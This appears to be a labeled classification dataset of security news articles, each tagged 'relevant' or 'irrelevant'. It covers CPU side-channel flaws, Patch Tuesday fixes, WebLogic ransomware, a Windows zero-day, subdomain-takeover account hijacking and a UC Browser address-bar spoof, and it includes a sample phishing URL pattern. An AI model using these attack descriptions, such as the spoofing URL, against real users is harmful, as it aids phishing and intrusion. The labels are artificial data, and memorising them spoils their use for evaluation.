complete remediation plan within three working days to CISA. BOD 19-02 replaces BOD 15-01—Critical Vulnerability Mitigation Requirement for Federal Civilian Executive Branch Departments and Agencies' Internet-Accessible Systems (May 21, 2015)—which gave federal agencies 30 days to patch critical vulnerabilities. This is the second BOD that CISA has released this year. Following a series of DNS hijacking incidents, the agency issued an ""emergency directive"" earlier this year, ordering federal agencies to audit DNS records for their respective website domains and other agency-managed domains within 10 days.",irrelevant
"New Class of CPU Flaws Affect Almost Every Intel Processor Since 2011 Academic researchers today disclosed details of the newest class of speculative execution side-channel vulnerabilities in Intel processors that impacts all modern chips, including the chips used in Apple devices. After the discovery of Spectre and Meltdown processor vulnerabilities earlier last year that put practically every computer in the world at risk, different classes of Spectre and Meltdown variations surfaced again and again. Now, a team of security researchers from multiple universities and security firms has discovered different but more dangerous speculative execution side-channel vulnerabilities in Intel CPUs. The newly discovered flaws could allow attackers to directly steal user-level, as well as system-level secrets from CPU buffers, including user keys, passwords, and disk encryption keys. Speculative execution is a core component of modern processors design that speculatively executes instructions based on assumptions that are considered likely to be true. If the assumptions come out to be valid, the execution continues, otherwise discarded. Dubbed Microarchitectural Data Sampling (MDS attacks), the newest class of vulnerabilities consist of four different flaws, which, unlike existing attacks that leak data stored in CPU caches, can leak arbitrary in-flight data from CPU-internal buffers, such as Line Fill Buffers, Load Ports, or Store Buffers. ""The new vulnerabilities can be used by motivated hackers to leak privileged information data from an area of the memory that hardware safeguards deem off-limits. It can be weaponized in highly targeted attacks that would normally require system-wide privileges or deep subversion of the operating system,"" BitDefender told The Hacker New. Here's the list of vulnerabilities derive from the newest MDS speculative execution in Intel processors: CVE-2018-12126—Microarchitectural Store Buffer Data Sampling (MSBDS), also known as Fallout attack. CVE-2018-12130—Microarchitectural Fill Buffer Data Sampling (MFBDS), also known as Zombieload, or RIDL (Rogue In-Flight Data Load). CVE-2018-12127—Microarchitectural Load Port Data Sampling (MLPDS), also part of RIDL class of attacks. CVE-2019-11091—Microarchitectural Data Sampling Uncacheable Memory (MDSUM), also part of RIDL class of attacks. The Fallout attack is a new transient execution attack that could allow unprivileged user processes to steal information from a previously unexplored microarchitectural component called Store Buffers. The attack can be used to read data that the operating system recently wrote and also helps to figure out the memory position of the operating system that could be exploited with other attacks. In their proof-of-concept attack, researchers showed how Fallout could be used to break Kernel Address Space Layout Randomization (KASLR), and leak sensitive data written to memory by the operating system kernel. ZombieLoad attack affects a wide range of desktops, laptops, and cloud computers with Intel processor generations released from 2011 onwards. It can be used to read data that is recently accessed or accessed in parallel on the same processor core. The ZombieLoad attack does not only work on personal computers to leak information from other applications and the operating system but can also be exploited on virtual machines running in the cloud with common hardware. ""ZombieLoad is furthermore not limited to native code execution, but also works across virtualization boundaries. Hence, virtual machines can attack not only the hypervisor but also different virtual machines running on a sibling logical core,"" researchers explain. ""We conclude that disabling hyperthreading, in addition to flushing several microarchitectural states during context switches, is the only possible workaround to prevent this extremely powerful attack."" Researchers even made available a tool for Windows and Linux users to test their systems against RIDL and Fallout attacks as well as other speculative execution flaws. Researchers tested their proof-of-concept exploits against Intel Ivy Bridge, Haswell, Skylake and Kaby Lake microarchitectures as shown in the video demonstrations. Academics have discovered the MDS vulnerabilities from the Austrian university TU Graz, Vrije Universiteit Amsterdam, the University of Michigan, the University of Adelaide, KU Leuven in Belgium, Worcester Polytechnic Institute, Saarland University in Germany and security firms Cyberus, BitDefender, Qihoo360 and Oracle. Multiple researchers independently reported Intel of the MSD vulnerabilities starting June 2018, but the Chip giant had asked all the researchers to keep their findings secret, some for more than a year, until the company could come out with fixes for the vulnerabilities. Intel has now released Microcode Updates (MCU) updates to fix the MDS vulnerabilities in both hardware and software by clearing all data from buffers whenever the CPU crosses a security boundary so that the data can't be leaked or stolen. Every operating system, virtualization vendor, and other software makers are highly recommended to implement the patch as soon as possible. AMD and ARM chips are not vulnerable to the MDS attacks, and Intel says that some models of its chip already include hardware mitigations against this flaw. Apple says it released a fix to address the vulnerability in the macOS Mojave 10.14.5 and Safari updates that were released yesterday. Microsoft has also released software updates to help mitigate the MDS vulnerabilities. In some cases, the company says installing the updates will have a performance impact.",relevant
"Israel Neutralizes Cyber Attack by Blowing Up A Building With Hackers The Israel Defense Force (IDF) claims to have neutralized an ""attempted"" cyber attack by launching airstrikes on a building in Gaza Strip from where it says the attack was originated. As shown in a video tweeted by IDF, the building in the Gaza Strip, which Israeli fighter drones have now destroyed, was reportedly the headquarters for Palestinian Hamas military intelligence, from where a cyber unit of hackers was allegedly trying to penetrate Israel's cyberspace. ""We thwarted an attempted Hamas cyber offensive against Israeli targets. Following our successful cyber defensive operation, we targeted a building where the Hamas cyber operatives work. HamasCyberHQ.exe has been removed,"" said the Israeli Defence Forces on Twitter. However, the Israel Defense Force has not shared any information about the attempted cyber attack by the Hamas group, saying it would reveal the country's cyber capabilities. According to Judah Ari Gross of Times of Israel, the commander of the IDF's Cyber Division said, ""We were a step ahead of them the whole time,"" and ""this was one of the first times where Israeli soldiers had to fend off a cyber attack while also fighting a physical battle."" However, it's not the first time when a country retaliates to a cyberattack with a physical attack. In 2015-16, the U.S. military reportedly killed two ISIS hackers—Siful Haque Sujan and Junaid Hussain of Team Poison hacking group—using drone strikes in Syria. The commander did not reveal the name of the target, but did say that the cyber attack by Hamas was aimed at ""harming the way of life of Israeli citizens."" The tension between Israel and Hamas has increased over the last year, with the latest conflict began on Friday after Hamas militants launched at least 600 rockets and mortars at Israel and shot two Israeli soldiers. In retaliation to the violence by Hamas, the Israel military has carried out their own strikes on what it claimed were hundreds of Hamas and Islamic Jihad targets in the coastal enclave. So far, at least 27 Palestinians and 4 Israeli civilians have been killed, and over 100 of them have been injured. The IDF said its airstrike targeted and killed Hamed Ahmed Abed Khudri, who the Israel military reportedly accused of funding the Hamas rocket fire attacks by transferring money from Iran to armed factions in Gaza. ""Transferring Iranian money to Hamas and the PIJ [Palestinian Islamic Jihad] doesn't make you a businessman. It makes you a terrorist,"" IDF wrote in a tweet that included an image of a Toyota car in flames. In a new development, Israel has stopped its air strikes on the Palestinian territory and lifted all protective restrictions imposed near the Gaza area, after Palestinian officials offered a conditional ceasefire agreement with Israel to end the violence.",irrelevant
"Microsoft Releases Patches For A Critical 'Wormable Flaw' and 78 Other Issues It's Patch Tuesday—the day when Microsoft releases monthly security updates for its software. Microsoft has software updates to address a total of 79 CVE-listed vulnerabilities in its Windows operating systems and other products, including a critical wormable flaw that can propagate malware from computer to computer without requiring users' interaction. Out of 79 vulnerabilities, 18 issues have been rated as critical and rest Important in severity. Two of the vulnerabilities addressed this month by the tech giant are listed as publicly known, of which one is listed as under active attack at the time of release. May 2019 security updates address flaws in Windows OS, Internet Explorer, Edge, Microsoft Office, and Microsoft Office Services and Web Apps, ChakraCore, .NET Framework, and ASP.NET, Skype for Android, Azure DevOps Server, and the NuGet Package Manager. Critical Wormable RDP Vulnerability The wormable vulnerability (CVE-2019-0708) resides in Remote Desktop Services – formerly known as Terminal Services – that could be exploited remotely by sending specially crafted requests over RDP protocol to a targeted system. The vulnerability could be exploited to spread wormable malware in a similar way as the WannaCry malware spread across the globe in 2017. ""This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system,"" Microsoft said in an advisory detailing the Wormable vulnerability. ""While we have observed no exploitation of this vulnerability, it is highly likely that malicious actors will write an exploit for this vulnerability and incorporate it into their malware."" Surprisingly, besides releasing patches for supported systems, including Windows 7, Windows Server 2008 R2, and Windows Server 2008, Microsoft has also separately released fixes for out-of-support versions of Windows including Windows 2003 and Windows XP to address this critical issue. As a workaround, Microsoft has advised Windows Server users to block TCP port 3389 and enable Network Level Authentication to prevent any unauthenticated attacker from exploiting this Wormable flaw. Other Critical and Important Vulnerabilities Another severe flaw is an important Elevation of Privilege vulnerability (CVE-2019-0863) in Windows that exists in the way Windows Error Reporting (WER) handles files. The flaw is listed as publicly known and is already being actively exploited in limited attacks against specific targets. Successful exploitation of the flaw could allow a low-privileged remote attacker to run arbitrary code in kernel mode with administrator privileges, eventually letting them install programs, view, change, or delete data, or create new accounts with administrator privileges. Another publicly disclosed vulnerability affects Skype for Android app. The vulnerability (CVE-2019-0932) could allow an attacker to listen to the conversation of Skype users without their knowledge. To successfully exploit this vulnerability, all an attacker needs is to call an Android phone with Skype for Android installed that's also paired with a Bluetooth device. All critical vulnerabilities listed this month primarily impact various versions of Windows 10 operating system and Server editions and mostly reside in Chakra Scripting Engine, with some also reside in Windows Graphics Device Interface (GDI), Internet Explorer, Edge, Word, Remote Desktop Services, and Windows DHCP Server. Many important-rated vulnerabilities also lead to remote code execution attacks, while others allow elevation of privilege, information disclosure, security bypass, spoofing tampering, and denial of service attacks. Users and system administrators are highly recommended to apply the latest security patches as soon as possible to keep cybercriminals and hackers away from taking control of their computers. For installing the latest security updates, you can head on to Settings → Update & Security → Windows Update → Check for updates on your computer, or you can install the updates manually. Adobe also rolled out security updates today to fix 87 security vulnerabilities in several of its products. Users of the affected Adobe software for Windows, macOS, Linux, and Chrome OS are advised to update their software packages to the latest versions.",relevant
"North Korean Hackers Using ELECTRICFISH Tunnels to Exfiltrate Data The U.S. Department of Homeland Security (DHS) and the FBI have issued another joint alert about a new piece of malware that the prolific North Korean APT hacking group Hidden Cobra has actively been using in the wild. Hidden Cobra, also known as Lazarus Group and Guardians of Peace, is believed to be backed by North Korean government and known to launch cyber attacks against media organizations, aerospace, financial and critical infrastructure sectors across the world. The hacking group was the same associated with the 2017 WannaCry ransomware menace, the 2014 Sony Pictures hack, and the SWIFT Banking attack in 2016. Now, the DHS and the FBI have uncovered a new malware variant, dubbed ELECTRICFISH, that Hidden Cobra hackers have been using for secretly tunneling traffic out of compromised computer systems. The malware implements a custom protocol configured with a proxy server/port and proxy username and password, allowing hackers to bypass the compromised system's required authentication to reach outside of the network. The ElectricFish malware is a command-line utility whose primary purpose is to quickly funnel traffic between two IP addresses. The malware allows Hidden Cobra hackers to configure with a proxy server/port and proxy username and password, making it possible to connect to a system sitting inside of a proxy server, which allows the attackers to bypass the infected system's required authentication. ""It will attempt to establish TCP sessions with the source IP address and the destination IP address. If a connection is made to both the source and destination IPs, this malicious utility will implement a custom protocol, which will allow traffic to rapidly and efficiently be funneled between two machines,"" the alert reads. ""If necessary, the malware can authenticate with a proxy to be able to reach the destination IP address. A configured proxy server is not required for this utility."" Once ElectricFish authenticates with the configured proxy, it immediately attempts to establish a session with the destination IP address, located outside of the victim network and the source IP address. The attack would use command prompts to specify the source and destination for tunneling traffic. Though the US-CERT website doesn't state whether or if yes, which US organizations have already been infected with this new malware, the joint malware analysis report (MAR) does say that the alert has been issued ""to enable network defense and reduce exposure to North Korean government malicious cyber activity."" This is not the very first time the DHS and the FBI have issued a joint alert to warn users and organizations about the Hidden Cobra malware. Late last year, the U.S. departments warned about the FastCash malware that Hidden Cobra had been using since 2016 to compromise payment switch application servers in banks in Africa and Asia in an attempt to cash out bank ATMs. Little less than a year ago, the DHS and the FBI also published an advisory alerting users of two different malware—a fully functional Remote Access Trojan (RAT) known as Joanap and a Server Message Block (SMB) worm called Brambul—linked to Hidden Cobra. In 2017, the US-CERT also issued an alert detailing Hidden Cobra malware called Delta Charlie—a DDoS tool that they believed the North Korean hackers use to launch distributed denial-of-service attacks against its targets.",irrelevant
"Hackers Found Exploiting Oracle WebLogic RCE Flaw to Spread Ransomware Taking advantage of newly disclosed and even patched vulnerabilities has become common among cybercriminals, which makes it one of the primary attack vectors for everyday-threats, like crypto-mining, phishing, and ransomware. As suspected, a recently-disclosed critical vulnerability in the widely used Oracle WebLogic Server has now been spotted actively being exploited to distribute a never-before-seen ransomware variant, which researchers dubbed ""Sodinokibi."" Last weekend, The Hacker News learned about a critical deserialization remote code execution vulnerability in Oracle WebLogic Server that could allow attackers to remotely run arbitrary commands on the affected servers just by sending a specially crafted HTTP request—without requiring any authorization. To address this vulnerability (CVE-2019-2725), which affected all versions of the Oracle WebLogic software and was given a severity score of 9.8 out of 10, Oracle rolled out an out-of-band security update on April 26, just a day after the vulnerability was made public and several in-the-wild attacks were observed. According to cybersecurity researchers from Cisco Talos' threat research team, an unknown group of hackers has been exploiting this vulnerability since at least April 25 to infect vulnerable servers with a new piece of ransomware malware. ransomware attack Sodinokibi is a dangerous ransomware variant which has been designed to encrypt files in a user's directory and then delete shadow copy backups from the system in an effort to prevent victims from recovering their data without paying a ransom. No Interaction Required to Deploy Ransomware Since attackers are leveraging a remote code execution vulnerability in the WebLogic Server, unlike typical ransomware attacks, deploying the Sodinokibi ransomware requires no user interaction. ""Historically, most varieties of ransomware have required some form of user interaction, such as a user opening an attachment to an email message, clicking on a malicious link, or running a piece of malware on the device,"" researchers explain in a blog post. ""In this case, the attackers simply leveraged the Oracle WebLogic vulnerability, causing the affected server to download a copy of the ransomware from attacker-controlled IP addresses."" Once downloaded, the Sodinokibi ransomware encrypts the victim's systems and displays a ransom note demanding up to $2,500 in Bitcoin. The amount doubles to $5,000 if the ransom is not paid within a specified number of days—which may vary from two days to six days. Hackers Are Also Installing GandCrab Ransomware Researchers also noted that roughly eight hours after deploying Sodinokibi on an infected system, the attackers exploited the same WebLogic Server vulnerability to install another piece of ransomware known as GandCrab (v5.2). ransomware attack ""We find it strange the attackers would choose to distribute additional, different ransomware on the same target,"" the researchers say. ""Sodinokibi being a new flavor of ransomware, perhaps the attackers felt their earlier attempts had been unsuccessful and were still looking to cash in by distributing Gandcrab."" Attackers have been exploiting the Oracle WebLogic Server vulnerability in the wild since at least April 17 to distribute cryptocurrency miners and other types of malware. WebLogic Server is a popular Java-based multi-tier enterprise application server typically used by businesses to support enterprise apps, which makes it an often target of attackers trying to carry out malicious operations, like running cryptocurrency miners and infecting with ransomware. Organizations that use Oracle WebLogic Server should make sure to update their installations to the latest version of the software as soon as possible.",relevant
"Hackers Breach Stack Overflow Q&A Site, Some Users' Data Exposed Note: We have updated this story to reflect new information after Stack Overflow changed its original announcement and shared more details on the security incident. Stack Overflow, one of the largest question and answer site for programmers, revealed today that unknown hackers managed to exploit a bug in its development tier and then almost a week after they gained unauthorized access to its production version. Founded by Jeff Atwood and Joel Spolsky in 2008, Stack Overflow is the flagship site of the Stack Exchange Network. With 10 million registered users and over 50 million unique visitors every month, Stack Overflow is very popular among professional and enthusiast programmers. In an older version of the announcement published by Mary Ferguson, VP of Engineering at Stack Overflow, the company confirmed the breach but said it did not find any evidence that hackers accessed customers' accounts or any user data. However, the updated announcement now says that after sitting quiet for a week, hackers executed privileged web requests, but were able to gain access to a very small portion of data, including IP address, names, and email address—and that for only a small number of users. ""Between May 5 and May 11, the intruder contained their activities to exploration. On May 11, the intruder made a change to our system to grant themselves a privileged access on production. This change was quickly identified and we revoked their access network-wide, began investigating the intrusion, and began taking steps to remediate the intrusion."" ""We can now confirm that our investigation suggests the requests in question affected approximately 250 public network users. Affected users will be notified by us,"" Ferguson said. The company also revealed hackers exploited a bug that was introduced in a recently deployed built to the development tier for the Stack Overflow website. Stack Overflow said the company is patching all known vulnerabilities. ""We discovered and investigated the extent of the access and are addressing all known vulnerabilities,"" Ferguson said. ""As part of our security procedures to protect sensitive customer data, we maintain separate infrastructure and networks for clients of our Teams, Business, and Enterprise products and we have found no evidence that those systems or customer data were accessed. Our Advertising and Talent businesses were also not impacted by this intrusion."" Late last year, another popular question and answer website Quora suffered a massive data breach with hackers gaining access to sensitive information of about 100 million of its users, including their names, email addresses, hashed password, and personal messages.",irrelevant
"Unpatched Flaw in UC Browser Apps Could Let Hackers Launch Phishing Attacks A bug hunter has discovered and publicly disclosed details of an unpatched browser address bar spoofing vulnerability that affects popular Chinese UC Browser and UC Browser Mini apps for Android. Developed by Alibaba-owned UCWeb, UC Browser is one of the most popular mobile browsers, specifically in China and India, with a massive user base of more than half a billion users worldwide. According to the details security researcher Arif Khan shared with The Hacker News, the vulnerability resides in the way User Interface on both browsers handles a special built-in feature that was otherwise designed to improve users Google search experience. The vulnerability, which has yet not assigned any CVE identifier, could allow an attacker to control URL string displayed in the address bar, eventually letting a malicious website to pose as some legitimate site. The vulnerability affects the latest UC Browser version 12.11.2.1184 and UC Browser Mini version 12.10.1.1192—that is currently being used by over 500 million and 100 million users respectively, according to Google Play Store. Though the flaw is similar to the one Khan discovered last month in the MI browser that comes pre-installed on Xiaomi smartphones and the Mint browser, phishing pages served using the newly discovered vulnerability in UC Browser still leaves some indicators that vigilant users can spot. When users search something on ""google.com"" using UC Browsers, the browsers automatically remove the domain from the address bar and rewrite it only to display the search query string to the user. Arif found that the pattern matching logic used by UC Browsers is insufficient and can be abused by attackers by simply creating subdomains on their own domain, as ""www.google.com.phishing-site.com?q=www.facebook.com,"" tricking browsers into thinking that the given site is ""www.google.com"" and the search query is ""www.facebook.com."" The URL Address Bar spoofing vulnerability can be used to easily trick UC Browser users into thinking they're visiting a trusted website when actually being served with a phishing page, as shown in the video demonstration. ""The fact that their regex rules just match the URL string, or, the URL any user is trying to visit a whitelist pattern but only check if the URL begins with a string like www.google.com can enable an attacker to bypass this regex check by simply using a subdomain on his domain like www.google.com.blogspot.com and attach the target domain name (which he wants to pose as) to the query portion of this subdomain like ?q=www.facebook.com,"" Arif explains in a blog post. Unlike Xiaomi browsers flaw, the UC browsers vulnerability does not allow an attacker to spoof SSL indicator, which is a basic and important factor that users cross-check to determine if a site is fake or legit. The Hacker News has independently verified the vulnerability and can confirm it works on the latest versions of both web browsers available at the time of writing. What's interesting? The researcher also mentioned that some old and other versions of UC Browser and UC Browser Mini are not affected by this URL Address Bar spoofing vulnerability, which suggests that a ""new feature might have been added to this browser sometime back which is causing this issue."" Khan responsibly reported the vulnerability to the UC Browser security team more than a week ago, but the company has not yet addressed the issue and simply put an Ignore status on his report. UC Browser was in the news just over a month ago when researchers found a ""hidden"" feature in its Android app that could have been exploited by attackers to remotely download and execute malicious code on Android phones and hijack them.",relevant
"PoC Exploit For Unpatched Windows 10 Zero-Day Flaw Published Online An anonymous hacker with an online alias ""SandboxEscaper"" today released proof-of-concept (PoC) exploit code for a new zero-day vulnerability affecting Windows 10 operating system—that's his/her 5th publicly disclosed Windows zero-day exploit [1, 2, 3] in less than a year. Published on GitHub, the new Windows 10 zero-day vulnerability is a privilege escalation issue that could allow a local attacker or malware to gain and run code with administrative system privileges on the targeted machines, eventually allowing the attacker to gain full control of the machine. The vulnerability resides in Task Scheduler, a utility that enables Windows users to schedule the launch of programs or scripts at a predefined time or after specified time intervals. SandboxEscaper's exploit code makes use of SchRpcRegisterTask, a method in Task Scheduler to register tasks with the server, which doesn't properly check for permissions and can, therefore, be used to set an arbitrary DACL (discretionary access control list) permission. ""This will result in a call to the following RPC ""_SchRpcRegisterTask,"" which is exposed by the task scheduler service,"" SandboxEscaper said. A malicious program or a low-privileged attacker can run a malformed .job file to obtain SYSTEM privileges, eventually allowing the attacker to gain full access to the targeted system. SandboxEscaper also shared a proof-of-concept video showing the new Windows zero-day exploit in action. The vulnerability has been tested and confirmed to be successfully working on a fully patched and updated version of Windows 10, 32-bit and 64-bit, as well as Windows Server 2016 and 2019. More Windows Zero-Day Exploits to Come Besides this, the hacker also teased that he/she still has 4 more undisclosed zero-day bugs in Windows, three of which leads to local privilege escalation and fourth one lets attackers bypass sandbox security. The details and exploit code for the new Windows zero-day came just a week after Microsoft monthly patch updates, which means no patch exists for this vulnerability at the current, allowing anyone to exploit and abuse. Windows 10 users need to wait for a security fix for this vulnerability until Microsoft's next month security updates—unless the company comes up with an emergency update.",relevant
"Popular Online Tutoring Marketplace 'Wyzant' Suffers Data Breach Wyzant—an online marketplace that makes it easy for parents and students to connect with private tutors, in-person and online, in over 250 different subjects—has suffered a data breach exposing ""certain personal identification information"" for its customers. The Hacker News received a copy of an email notification Wyzant recently sent to its affected customers, which reveals an unknown attacker was able to gain access to one of its databases on April 27, which the company identified a week after the security incident. The stolen personal identification information for affected customers includes their first name, last name, email address, zip code, and, for certain customers, their Facebook profile image as well who log-in to the platform using Facebook. Wyzant also explicitly made it clear that the stolen data did not include any password, payment information, or record of its customers' activity on the Wyzant platform, and that no other than the above-mentioned data was known to have been accessed. Though it is still unclear how many customers were actually hit by the security breach, or if both tutors and students are affected, or what security hole the unknown attackers exploited to get into the company's network, the company did confirm that it has now patched the underlying issue. With more than 2 million registered users and over 76,000 active tutors in its database, Wyzant is a decade-old popular tutoring service that bring students and instructors together, online and in-person. In response to the security incident, Wyzant says it is performing an extensive audit of its entire network and application security infrastructure and will notify its customers of any significant development. ""Wyzant has implemented additional security measures designed to prevent a recurrence of such an attack and to protect the privacy of our valued customers,"" the company says. ""This includes reviewing our security processes and protocols. We are also working closely with law enforcement to ensure the incident is properly addressed."" For affected customers, Wyzant also warned them to beware of potential phishing attacks wherein attackers could use their personal information to trick them into providing additional personal information, such as credit card information or passwords. The Hacker News has reached out to the company to know more about the data breach incident and will update this article as soon as we'll hear back from it.",irrelevant
"Adobe Issues Critical Patches for ColdFusion, Flash Player, Campaign It's Patch Tuesday week! Adobe has just released the latest June 2019 software updates to address a total 11 security vulnerabilities in its three widely-used products Adobe ColdFusion, Flash Player, and Adobe Campaign. Out of these, three vulnerabilities affect Adobe ColdFusion, a commercial rapid web application development platform—all critical in severity—that could lead to arbitrary code execution attacks. Here below you can find brief information about all newly patched ColdFusion flaws: CVE-2019-7838 — This vulnerability has been categorized as ""File extension blacklist bypass"" and can be exploited if the file uploads directory is web accessible. CVE-2019-7839 — There's a command injection vulnerability in ColdFusion 2016 and 2018 editions, but it does not impact ColdFusion version 11. CVE-2019-7840 — This flaw originates from the deserialization of untrusted data and also leads to arbitrary code execution on the system. Besides ColdFusion, Adobe has patched just one vulnerability (CVE-2019-7845) in the infamous Flash Player software this month, which is also critical in severity and leads to arbitrary code execution on the affected Windows, macOS, Linux or Chrome OS-based system. This flaw was reported by an anonymous cybersecurity researcher to the Adobe and can now be patched by installing the latest Flash player version 32.0.0.207. The rest 7 flaws that Adobe patched this month resides in Adobe Campaign Classic (ACC), an advanced cross-channel marketing and campaign management platform, one of which is critical in severity, three have been rated important and other 3 poses little threat to users. The only critical flaw (CVE-2019-7843) in Adobe Campaign could allow attackers to execute commands on the affected systems (Windows and Linux) through arbitrary code execution flaw. At the time of writing, the company is not aware of any in-the-wild exploit for the vulnerabilities it addressed today. Adobe has released updated versions of all three vulnerable software for each impacted platform that users should install immediately to protect their systems and businesses from cyber attacks.",relevant
"When Time is of the Essence – Testing Controls Against the Latest Threats Faster A new threat has hit head the headlines (Robinhood anyone?), and you need to know if you're protected right now. What do you do? Traditionally, you would have to go with one of the options below. Option 1 – Manually check that IoCs have been updated across your security controls. This would require checking that security controls such as your email gateway, web gateway, and endpoint security have all been updated with the latest threats' indicators of compromise (IoCs) usually published by AV companies who detect the malware binaries first. Option 2 – Create a 'carbon copy' of your network and run the threat's binary on that copy. While safe, IT and security teams may be unaware of certain variations from the real deal. So while the attack simulation is running against an 'ideal' copy, your real network may have undergone inadvertent changes, such as a firewall running in monitoring mode, a patch not being installed on time, and other unintentional variations. The resulting mirror image has inadvertently become a 'filtered' one. Option 3 – Build a homegrown simulation. While effective, developing your own malware simulation is a time- and resource-intensive effort that usually requires a dedicated threats or vulnerability assessment team. Moreover, even if you have the resources, the turnaround time for getting a live and safe simulation to work may not be ideal. Option 4 – Run an automated simulation of the threat in your production environment. What if you could challenge your controls with a threat on the day that it hits the headlines? This is where automated security effectiveness testing can help. By running simulations of the latest cyber attacks against the controls required to detect them correctly, you can make sure your current security arsenal is catching risky IoCs, and close any gaps faster. Testing Security Control Effectiveness Faster Using a dedicated golden image of a standard workstation (or server), attack simulations can be run continually on a designated system in a production network. This way, a real user's data is not jeopardized, while enabling you to check the latest threat's ability to bypass your security controls. By running ongoing or daily simulations of the newest menaces across your network, you can determine if your controls are catching IoCs such as command & control (C2) URLs and malicious file hashes. cymulate Immediate Threats Available for Simulation After Their Discovery [click the image to view full size] Real vs. Simulated Cyber Attacks – What's the Difference? So what is the difference between a real attack and a simulated one? First and foremost, simulations usually run on a dedicated system to avoid compromising a real user's system. For C2 communications, a simulation will attempt to establish a connection over HTTP/S, with an agent installed on the endpoint serving as a proxy to block any malicious requests sent and dropping the connection at the end of the test. When testing endpoint security controls, rather than executing a real payload, one simulation technique involves dropping a malware sample to see if security controls can detect and remove it. To test the effectiveness of an email gateway, a simulated attack will send emails with weaponized attachments that contain different malicious behaviors but are harmless to the target system. An agent sitting on top of the email client handles incoming emails and deletes them immediately thereafter. Immediate Insights Against Immediate Threats What kind of insights can simulations uncover? Challenging email security controls can reveal whether your email gateway is blocking multi-layer nested files, whether a policy is set up to filter out spoofed email addresses or rarely-used file formats, or whether archive files (e.g., ZIP) are scanned to prevent executables from landing in a user's mailbox. To prevent drive-by-downloads, it may alert that your web gateway is not blocking downloads associated with the newest threat's URLs. And vis-à-vis endpoint security, you may learn that your current solution is failing to block or detect dropped payloads on disk. Immediate Threats Simulation Results – Blocked or Penetrated [click the image to view full size] Ready to test the effectiveness of your security controls against the very latest threats? Get started here, or learn more about SaaS-based breach and attack simulation.",irrelevant
"Security Flaw in Pre-Installed Dell Support Software Affects Million of Computers Dell's SupportAssist utility that comes pre-installed on millions of Dell laptops and PCs contains a security vulnerability that could allow malicious software or rogue logged-in users to escalate their privileges to administrator-level and access sensitive information. Discovered by security researchers at SafeBreach Labs, the vulnerability, identified as CVE-2019-12280, is a privilege-escalation issue and affects Dell's SupportAssist application for business PCs (version 2.0) and home PCs (version 3.2.1 and all prior versions). Dell SupportAssist, formerly known as Dell System Detect, checks the health of your system's hardware and software, alerting customers to take appropriate action to resolve them. To do so, it runs on your computer with SYSTEM-level permissions. With this high-level privileges, the utility interacts with the Dell Support website and automatically detects Service Tag or Express Service Code of your Dell product, scans the existing device drivers and installs missing or available driver updates, along with performing hardware diagnostic tests. However, researchers at SafeBreach Labs discovered that the software insecurely loads .dll files from user-controlled folders when run, leaving a spot for malware and rogue logged-in users to corrupt existing DLLs or replace them with malicious ones. dell computer hacking Therefore, when SupportAssist loads those tainted DLLs, malicious code gets injected into the program and executed within the context of an administrator, thus easily allowing the attacker to gain complete control of a targeted system. ""According to Dell's website, SupportAssist is pre-installed on most of Dell devices running Windows. This means that as long as the software is not patched, the vulnerability affects millions of Dell PC users,"" the researchers say. What's worrisome? Researchers believe that Dell is not the only company whose PCs are impacted by this particular security issue. Since Dell SupportAssist is written and maintained by Nevada-based diagnostics and customer support firm PC-Doctor, other PC makers that bundle the same diagnostic and troubleshooting tools into their own computers with different names may also be vulnerable. ""After SafeBreach Labs sent the details to Dell, we discovered that this vulnerability affects additional OEMs which use a rebranded version of the PC-Doctor Toolbox for Windows software components,"" the researchers say. Also, according to the PC-Doctor website, PC makers have ""pre-installed over 100 million copies of PC-Doctor for Windows on computer systems worldwide,"" which means the flaw also affects other OEMs that rely on PC-Doctor for specialized troubleshooting tools. Since Dell's SupportAssist software use a signed driver by PC-Doctor to access low-level memory and hardware, researchers demonstrated this vulnerability to read the content of an arbitrary physical memory address as a proof-of-concept. SafeBreach Labs reported the vulnerability to Dell on 29th April 2019, and the company then reported the issue to PC Doctor and released fixes provided by PC-Doctor on 28th May for affected SupportAssist versions. Dell Business and home PC users are recommended to update their software to Dell SupportAssist for Business PCs version 2.0.1 and Dell SupportAssist for Home PCs version 3.2.2 respectively. It's not the first time when Dell SupportAssist has been found affected by a severe security vulnerability. In April this year, Dell also addressed a critical remote code execution vulnerability in the utility that would have allowed remote attackers to download and install malware from a remote server on affected Dell computers and take full control over them.",relevant
"Account Takeover Vulnerability Found in Popular EA Games Origin Platform A popular gaming platform used by hundreds of millions of people worldwide has been found vulnerable to multiple security flaws that could have allowed remote hackers to takeover players' accounts and steal sensitive data. The vulnerabilities in question reside in the ""Origin"" digital distribution platform developed by Electronic Arts (EA)—the world's second-largest gaming company with over 300 million users—that allows users to purchase and play some of the most popular video games including Battlefield, Apex Legends, Madden NFL, and FIFA. The Origin platform also manages users EA Games account authentication and allows them to find friends, join games, and manage their profiles. Discovered by researchers at Check Point and CyberInt, the vulnerabilities when chained together could have allowed attackers to hijack gamer's EA account just by convincing them into opening an official webpage from the EA Games website. To perform this attack, as shown in the video demonstration, researchers took advantage of a long-known unpatched weakness in Microsoft's Azure cloud service that allowed them to takeover one of the EA subdomains, which was previously registered with Azure to host one of the Origin's services. As explained in a previous report, if DNS (CNAME) of a domain/subdomain is pointing to Azure cloud platform but has not been configured or linked to an active Azure account, any other Azure user can hijack it to park that subdomain to his/her Azure server. ""During Cyber Int's research, though, [it] found that the ea-invite-reg.azurewebsites.net service was not in-use anymore within Azure cloud services; however, the unique subdomain eaplayinvite.ea.com still redirect to it using the CNAME configuration,"" CheckPoint researchers said in a report published today. In their proof-of-concept attack, researchers hijacked ""eaplayinvite.ea.com"" and hosted a script on it that exploited weaknesses in the EA games' oAuth single sign-on (SSO) and TRUST mechanism. The webpage eventually allowed the researchers to capture players secret SSO tokens just by convincing them into visiting it in the same web browser where they already have an active session on the EA website and takeover their accounts without requiring actual credentials. ""The TRUST mechanism exists between ea.com and origin.com domains and their subdomains. Successfully abusing the mechanism enabled our research team to manipulate the OAuth protocol implementation for full account takeover exploitation,"" researchers explained. ea games hacking In a worst-case scenario, CheckPoint researchers said an attacker could have exploited these flaws to cause potential damage like gaining access to players' credit card information with the ability to fraudulently purchase in-game currency on behalf of the players. CyberInt and Check Point immediately reported their findings to EA Games and helped the company fix the security loopholes to protect their gaming customers. The security firm went public with its findings today—almost three months after EA addressed the issues.",relevant
